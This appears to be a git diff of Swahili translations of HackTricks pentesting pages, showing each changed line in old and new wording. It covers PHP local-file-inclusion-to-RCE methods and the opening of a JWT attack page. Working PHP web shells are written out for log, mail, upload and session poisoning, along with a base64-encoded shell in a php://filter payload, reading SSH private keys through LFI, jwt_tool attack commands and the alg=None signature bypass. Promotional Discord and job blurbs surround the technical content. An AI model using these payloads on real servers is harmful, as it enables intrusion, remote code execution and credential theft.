Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake
|
||||
**Machapisho ya Kudukua**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha kudukua na changamoto zake
|
||||
|
||||
**Taarifa za Udukuzi za Muda Halisi**\
|
||||
Kaa sasa na ulimwengu wa udukuzi wenye kasi kupitia taarifa za muda halisi na ufahamu
|
||||
**Taarifa za Kudukua za Muda Halisi**\
|
||||
Kaa sasa na ulimwengu wa kudukua wenye kasi kupitia taarifa za muda halisi na ufahamu
|
||||
|
||||
**Matangazo Mapya**\
|
||||
Baki mwelewa na tuzo mpya za makosa za programu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na tuzo mpya za makosa ya programu zinazoanzishwa na sasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
## Udukuzi wa Njia ya Kipofu ya PHP
|
||||
|
||||
{% hint style="warning" %}
|
||||
Mbinu hii ni muhimu katika hali ambapo **unadhibiti** **njia ya faili** ya **kazi ya PHP** ambayo ita **fikia faili** lakini hautaona maudhui ya faili (kama wito wa **`file()`** wa kawaida) lakini maudhui hayo hayataonyeshwa.
|
||||
Mbinu hii inahusiana katika kesi ambapo **unadhibiti** **njia ya faili** ya **kazi ya PHP** ambayo ita **fikia faili** lakini hautaona maudhui ya faili (kama wito rahisi wa **`file()`**) lakini maudhui hayo hayataonyeshwa.
|
||||
{% endhint %}
|
||||
|
||||
Katika [**chapisho hili la kushangaza**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi upitishaji wa njia wa kipofu unaweza kutumiwa kupitia kichujio cha PHP kwa **kuchota maudhui ya faili kupitia orakuli la kosa**.
|
||||
Katika [**chapisho hili la kushangaza**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi udukuzi wa njia ya kipofu unavyoweza kutumiwa kupitia kichujio cha PHP kwa **kuchota maudhui ya faili kupitia orakuli la kosa**.
|
||||
|
||||
Kwa muhtasari, mbinu hii inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **kubwa** sana hivi kwamba **kazi ya PHP ya kufungua** faili itasababisha **kosa**.
|
||||
Kwa muhtasari, mbinu hii inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** hivyo kwamba **kazi ya PHP ya kufungua** faili itasababisha **kosa**.
|
||||
|
||||
Kisha, ili kuvuja herufi ya kwanza, kichujio cha **`dechunk`** hutumiwa pamoja na vingine kama vile **base64** au **rot13** na hatimaye vichujio **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** hutumiwa kwa **kuweka herufi nyingine mwanzoni na kuzivuja**.
|
||||
Kisha, ili kuvuja herufi ya kwanza, kichujio cha **`dechunk`** hutumiwa pamoja na vingine kama vile **base64** au **rot13** na hatimaye vichujio **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** hutumiwa kuweka herufi nyingine mwanzoni na kuzivuja.
|
||||
|
||||
**Kazi ambazo zinaweza kuwa hatarini**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (lengo la kusoma tu na hili)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Kazi ambazo zinaweza kuwa hatarini**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (lengo la kusoma tu na hii)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Kwa maelezo ya kiufundi angalia chapisho lililotajwa!
|
||||
Kwa maelezo ya kiufundi angalia chapisho kilichotajwa!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Uingizaji wa Faili Kijijini
|
||||
### Udukuzi wa Faili Kijijini
|
||||
|
||||
Imeelezwa hapo awali, [**fuata kiungo hiki**](./#remote-file-inclusion).
|
||||
|
||||
### Kupitia faili ya kumbukumbu ya Apache/Nginx
|
||||
|
||||
Ikiwa seva ya Apache au Nginx ina **udhaifu wa LFI** ndani ya kazi ya kuingiza unaweza jaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, weka ndani ya **mpelelezi wa mtumiaji** au ndani ya **parameta ya GET** kabati ya php kama **`<?php system($_GET['c']); ?>`** na ingiza faili hiyo
|
||||
Ikiwa seva ya Apache au Nginx ina **udhaifu wa LFI** ndani ya kazi ya kuingiza unaweza kujaribu kupata ufikiaji wa **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, weka ndani ya **mpelelezi wa mtumiaji** au ndani ya **parameta ya GET** kabati ya php kama **`<?php system($_GET['c']); ?>`** na ingiza faili hiyo
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba **ikiwa utatumia alama za nukuu mbili** kwa kabati badala ya **nukuu moja**, alama za nukuu mbili zitabadilishwa kuwa mstari "_**nukuu;**_", **PHP itatoa kosa** hapo na **kitu kingine hakitafanyika**.
|
||||
Tafadhali kumbuka kwamba **ikiwa utatumia alama za nukuu mbili** kwa kabati badala ya **alama za nukuu moja**, alama za nukuu mbili zitabadilishwa kwa mfuatano "_**quote;**_", **PHP itatoa kosa** hapo na **kitu kingine hakitafanyika**.
|
||||
|
||||
Pia, hakikisha **unandika kwa usahihi payload** au PHP itatoa kosa kila wakati inapojaribu kupakia faili ya kumbukumbu na hautapata fursa ya pili.
|
||||
{% endhint %}
|
||||
|
||||
Hii pia inaweza kufanywa kwenye kumbukumbu nyingine lakini **weka tahadhari,** nambari ndani ya kumbukumbu inaweza kuwa URL encoded na hii inaweza kuharibu Kabati. Kichwa cha **uthibitisho "msingi"** kina "mtumiaji:nywila" katika Base64 na inakiliwa ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Hii pia inaweza kufanywa katika kumbukumbu nyingine lakini **weka tahadhari,** nambari ndani ya kumbukumbu inaweza kuwa URL encoded na hii inaweza kuharibu Kabati. Kichwa cha habari **uthibitisho "msingi"** una "mtumiaji:nywila" katika Base64 na inadecode ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Njia zingine za kumbukumbu zinazowezekana:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -495,7 +501,7 @@ Njia zingine za kumbukumbu zinazowezekana:
|
|||
```
|
||||
### Kupitia Barua pepe
|
||||
|
||||
**Tuma barua** kwa akaunti ya ndani (user@localhost) ikijumuisha mzigo wako wa PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuinclude kwenye barua pepe ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
|
||||
**Tuma barua** kwa akaunti ya ndani (user@localhost) ikijumuisha mzigo wako wa PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuweka kwenye barua pepe ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Kupitia /proc/\*/fd/\*
|
||||
|
||||
|
@ -515,7 +521,7 @@ Ikiwa unaweza kupakia faili, tuambie payload ya shell ndani yake (k.m: `<?php sy
|
|||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
### Kupitia Upakiaji wa Faili ya Zip
|
||||
### Kupitia Kifurushi cha Zip
|
||||
|
||||
Pakia faili ya ZIP inayohifadhi PHP shell iliyosongeshwa na ufikie:
|
||||
```python
|
||||
|
@ -543,18 +549,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
|||
```
|
||||
### Kupitia ssh
|
||||
|
||||
Ikiwa ssh iko active, angalia ni mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata ufikiaji wa **\<HOME>/.ssh/id\_rsa**
|
||||
Ikiwa ssh iko active angalia mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata ufikivu wa **\<HOME>/.ssh/id\_rsa**
|
||||
|
||||
### **Kupitia** **vsftpd** _**logs**_
|
||||
|
||||
Majedwali ya mwenyeji wa FTP vsftpd yapo kwenye _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Ujumuishaji wa Faili za Kienyeji (LFI), na ufikiaji wa seva iliyofichuliwa ya vsftpd unawezekana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
Majedwali ya mwenyeji wa FTP vsftpd yapo katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Ujumuishaji wa Faili za Kienyeji (LFI), na ufikivu wa seva iliyofichuliwa ya vsftpd unawezekana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
|
||||
1. Ingiza mzigo wa PHP kwenye uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
|
||||
1. Ingiza mzigo wa PHP katika uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
|
||||
2. Baada ya kuingiza, tumia LFI kuchukua majedwali ya seva kutoka _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Kupitia kichujio cha php base64 (kutumia base64)
|
||||
|
||||
Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, kichujio cha PHP base64 hupuuza tu Isiyo ya base64. Unaweza kutumia hilo kukiuka ukaguzi wa kielezo cha faili: ikiwa unatoa base64 inayoishia na ".php", itapuuza tu "." na kuongeza "php" kwenye base64. Hapa kuna mzigo wa mfano:
|
||||
Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, kichujio cha PHP base64 hupuuza tu Isiyo ya base64. Unaweza kutumia hilo kukiuka ukaguzi wa kielezo cha faili: ikiwa unatoa base64 inayoishia na ".php", itapuuza "." na kuongeza "php" kwa base64. Hapa kuna mzigo wa mfano:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
|
@ -570,13 +576,13 @@ Hii [**maelezo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4
|
|||
|
||||
### Kupitia kosa la segmantesheni
|
||||
|
||||
**Pakia** faili itakayohifadhiwa kama **ya muda** kwenye `/tmp`, kisha katika **ombi moja,** chokoza **kosa la segmantesheni**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
**Pakia** faili itakayohifadhiwa kama **temporari** kwenye `/tmp`, kisha katika **ombi moja,** chokoza **kosa la segmantesheni**, na kisha **faili ya temporari haitafutwa** na unaweza kuitafuta.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia uhifadhi wa faili za muda za Nginx
|
||||
### Kupitia uhifadhi wa faili za temp za Nginx
|
||||
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na **Nginx** inaendeshwa mbele ya PHP unaweza kupata RCE kwa kutumia mbinu ifuatayo:
|
||||
|
||||
|
@ -586,15 +592,15 @@ Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na **Nginx** inaendeshwa mbele
|
|||
|
||||
### Kupitia PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** hata kama huna **kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya sehemu nyingi**, PHP ita **wezesha kikao kwako**. Unaweza kutumia hii kupata RCE:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** hata kama huna **kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya multipart**, PHP ita **wezesha kikao kwako**. Unaweza kutumia hii kupata RCE:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia pakiaji wa faili za muda kwenye Windows
|
||||
### Kupitia pakiaji wa faili za temp kwenye Windows
|
||||
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na **seva** inaendeshwa kwenye **Windows** unaweza kupata RCE:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na **server** inaendeshwa kwenye **Windows** unaweza kupata RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -602,7 +608,7 @@ Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na **seva** inaendeshwa kwenye
|
|||
|
||||
### Kupitia phpinfo() (file\_uploads = on)
|
||||
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na faili inaonyesha **phpinfo()** na file\_uploads = on unaweza kupata RCE:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na faili inayoonyesha **phpinfo()** na file\_uploads = on unaweza kupata RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -610,7 +616,7 @@ Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na faili inaonyesha **phpinfo()
|
|||
|
||||
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Kufichua Njia
|
||||
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na unaweza **kufichua njia** ya faili ya muda LAKINI **seva** inaangalia ikiwa **faili itakayojumuishwa ina alama za PHP**, unaweza kujaribu **kupita kwenye ukaguzi huo** na hii **Hali ya Mashindano**:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na unaweza **kufichua njia** ya faili ya temp LAKINI **server** inaangalia ikiwa **faili itakayoingizwa ina alama za PHP**, unaweza kujaribu **kupita kwenye ukaguzi huo** na hii **Hali ya Mashindano**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -618,7 +624,7 @@ Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na unaweza **kufichua njia** ya
|
|||
|
||||
### Kupitia kungojea milele + kuvunja nguvu
|
||||
|
||||
Ikiwa unaweza kutumia LFI kwa **kupakia faili za muda** na kufanya seva **kukwama** kwenye utekelezaji wa PHP, basi unaweza **kuvunja nguvu majina ya faili kwa masaa** ili kupata faili ya muda:
|
||||
Ikiwa unaweza kutumia LFI ku **pakia faili za temp** na kufanya server **kukwama** kwenye utekelezaji wa PHP, basi unaweza **kuvunja nguvu majina ya faili kwa masaa** ili kupata faili ya temporari:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -626,10 +632,10 @@ Ikiwa unaweza kutumia LFI kwa **kupakia faili za muda** na kufanya seva **kukwam
|
|||
|
||||
### Kwa Kosa Kubwa
|
||||
|
||||
Ikiwa unajumuisha faili yoyote kati ya `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kutoa kosa hilo).
|
||||
Ikiwa unaingiza faili yoyote kati ya `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kuweka ile ile mara 2 ili kutoa kosa hilo).
|
||||
|
||||
**Sijui jinsi hii inavyoweza kuwa na manufaa lakini inaweza kuwa.**\
|
||||
_Hata kama unasababisha Kosa Kubwa la PHP, faili za muda za PHP zilizopakiwa zinafutwa._
|
||||
_Hata kama unasababisha Kosa Kubwa la PHP, faili za temporari za PHP zilizopakiwa zitafutwa._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -642,29 +648,29 @@ _Hata kama unasababisha Kosa Kubwa la PHP, faili za muda za PHP zilizopakiwa zin
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!
|
||||
|
||||
**Machapisho ya Kudukua**\
|
||||
Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kudukua
|
||||
Shiriki na maudhui yanayochimba kina cha msisimko na changamoto za kudukua
|
||||
|
||||
**Habari za Kudukua za Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua wenye kasi kupitia habari za wakati halisi na ufahamu
|
||||
**Habari za Kudukua za Moja kwa Moja**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua kwa kasi kupitia habari na ufahamu wa moja kwa moja
|
||||
|
||||
**Matangazo ya Hivi Karibuni**\
|
||||
Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
**Matangazo Mapya**\
|
||||
Baki mwelekezwa na tuzo mpya za makosa zinazoanzishwa na sasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kudukua kwa kutumia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kudukua kwa kutumia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -1,27 +1,27 @@
|
|||
# Madoa ya JWT (Json Web Tokens)
|
||||
# Madoa ya JWT (Vitambulisho vya Wavuti vya Json)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
|
||||
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo yasiyohack - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Sehemu ya chapisho hili inategemea chapisho kubwa:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Mwandishi wa zana kubwa ya pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Sehemu ya chapisho hili imetokana na chapisho zuri:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Mwandishi wa zana kuu ya pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Mafanikio ya Haraka**
|
||||
|
||||
|
@ -31,7 +31,7 @@ python3 jwt_tool.py -M at \
|
|||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Ikiwa una bahati, zana itapata kesi ambapo programu ya wavuti inachunguza JWT kimakosa:
|
||||
Ikiwa una bahati, zana itapata kesi ambapo programu ya wavuti haiangalii JWT kwa usahihi:
|
||||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
|
@ -39,43 +39,45 @@ Kisha, unaweza kutafuta ombi katika proksi yako au kudump JWT iliyotumiwa kwa om
|
|||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Kuhariri data bila kubadilisha kitu chochote
|
||||
Unaweza pia kutumia [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) kuzindua mashambulizi ya JWT kutoka Burp.
|
||||
|
||||
Unaweza tu kuhariri data bila kubadilisha saini na kuangalia kama server inakagua saini. Jaribu kubadilisha jina lako kuwa "admin" kama mfano.
|
||||
### Kuhariri data bila kubadilisha chochote
|
||||
|
||||
#### **Je, token inakaguliwa?**
|
||||
Unaweza tu kuhariri data bila kugusa saini na kuangalia kama seva inathibitisha saini. Jaribu kubadilisha jina lako kuwa "admin" kama mfano.
|
||||
|
||||
Ili kujua ikiwa saini ya JWT inakaguliwa:
|
||||
#### **Je, token inathibitishwa?**
|
||||
|
||||
* Ujumbe wa hitilafu unaashiria ukaguzi unaendelea; maelezo nyeti katika makosa marefu yanapaswa kuchunguzwa.
|
||||
* Mabadiliko kwenye ukurasa uliorejeshwa pia unaashiria ukaguzi.
|
||||
* Hakuna mabadiliko yanapendekeza hakuna ukaguzi; hii ni wakati wa kujaribu kuhariri madai ya mzigo.
|
||||
Kuwa na uhakika kama saini ya JWT inathibitishwa:
|
||||
|
||||
* Ujumbe wa hitilafu unapendekeza uhakiki unaendelea; maelezo nyeti katika makosa ya kina yanapaswa kuchunguzwa.
|
||||
* Mabadiliko kwenye ukurasa uliorudishwa pia inaonyesha uhakiki.
|
||||
* Hakuna mabadiliko yanapendekeza hakuna uhakiki; hii ni wakati wa kujaribu kuhariri madai ya mzigo.
|
||||
|
||||
### Asili
|
||||
|
||||
Ni muhimu kujua ikiwa token uliundwa upande wa server au upande wa mteja kwa kuchunguza historia ya ombi la proksi.
|
||||
Ni muhimu kujua ikiwa token uliundwa upande wa seva au upande wa mteja kwa kuchunguza historia ya ombi la proksi.
|
||||
|
||||
* Vyeti vilivyoonekana kwanza kutoka upande wa mteja vinapendekeza kwamba ufunguo unaweza kuwa umefichuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi.
|
||||
* Vyeti vinavyoanzia upande wa server vinathibitisha mchakato salama.
|
||||
* Vitambulisho vilivyoonekana kwanza kutoka upande wa mteja vinapendekeza kwamba ufunguo unaweza kuwa umefichuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi.
|
||||
* Vitambulisho vinavyoanzia upande wa seva vinathibitisha mchakato salama.
|
||||
|
||||
### Muda
|
||||
|
||||
Angalia ikiwa token inadumu zaidi ya masaa 24... labda haitamaliziki. Ikiwa kuna uga wa "exp", hakikisha server inashughulikia kwa usahihi.
|
||||
Angalia kama token inadumu zaidi ya masaa 24... labda haitamalizika. Ikiwa kuna uwanja wa "exp", hakikisha kama seva inashughulikia kwa usahihi.
|
||||
|
||||
### Kuvunja nguvu siri ya HMAC
|
||||
### Kuvunja siri ya HMAC kwa nguvu
|
||||
|
||||
[**Angalia ukurasa huu.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
[Tazama ukurasa huu.](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Badilisha algorithm kuwa None
|
||||
|
||||
Wekeza algorithm uliotumika kuwa "None" na ondoa sehemu ya saini.
|
||||
Weka algorithm uliotumika kuwa "None" na ondoa sehemu ya saini.
|
||||
|
||||
Tumia kifaa cha Burp kinachoitwa "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na kwenye kichupo cha "JSON Web Token" unaweza kuhariri thamani za token. Unaweza pia kuchagua kuweka thamani ya uga wa "Alg" kuwa "None").
|
||||
Tumia wito wa Burp "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na kwenye kichupo cha "JSON Web Token" unaweza kuhariri thamani za token. Unaweza pia kuchagua kuweka thamani ya uga wa "Alg" kuwa "None").
|
||||
|
||||
### Badilisha algorithm kutoka RS256(asymmetric) kwenda HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
|
||||
